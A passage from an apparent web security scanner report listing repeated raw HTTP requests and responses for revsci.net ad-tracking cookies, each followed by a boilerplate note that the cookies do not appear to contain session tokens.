OAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl6CzycM1VkQna+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:07 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649b&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:07 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:07 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/737191144.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9uCTaGM1VkQLa+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:23 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:22 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/769036262.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iDTSKI0VkTwa+w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:25 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b5&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:25 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/814275397.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9uDSSaM0VkQaa9E=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:22 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b2&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:22 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:21 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/844309645.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
